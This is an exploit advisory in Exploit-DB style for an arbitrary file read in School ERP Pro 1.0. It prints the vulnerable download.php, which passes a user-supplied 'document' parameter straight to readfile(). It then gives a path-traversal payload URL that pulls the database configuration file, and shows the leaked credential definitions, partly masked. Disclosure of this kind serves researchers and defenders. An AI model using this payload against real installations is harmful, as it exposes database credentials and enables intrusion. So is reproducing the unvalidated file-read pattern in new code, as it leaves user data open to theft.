School ERP Pro 1.0 Arbitrary File Read

`# Exploit Title: School ERP Pro 1.0 - Arbitrary File Read  
# Date: 2020-04-28  
# Author: Besim ALTINOK  
# Vendor Homepage: http://arox.in  
# Software Link: https://sourceforge.net/projects/school-erp-ultimate/  
# Version: latest version  
# Tested on: Xampp  
# Credit: İsmail BOZKURT  
# CVE: N/A  
  
Vulnerable code: (/student_staff/download.php)  
- File Name: download.php  
- Content of the download.php  
  
<?php  
if ( isset($_REQUEST["document"])&&$_REQUEST["document"]!="") {  
$file = $_REQUEST['document'];  
header("Content-type: application/force-download");  
header("Content-Transfer-Encoding: Binary");  
header("Content-length: ".filesize($file));  
header("Content-disposition: attachment; filename=\"".$file."\"");  
readfile($file);  
exit;  
}  
?>  
  
------------  
*Payload:*  
---------------  
  
http://localhost/school_erp/student_staff/download.php?document=../includes/constants.inc.php  
------------------------  
*After run payload: (we accessed of the file content)*  
------------------------  
  
<?php  
  
define('DB_SERVER', 'localhost');  
define('DB_SERVER_USERNAME', 'aroxi********');  
define('DB_SERVER_PASSWORD', 'erp**********');  
define('DB_DATABASE', 'aroxi****************');  
?>  
`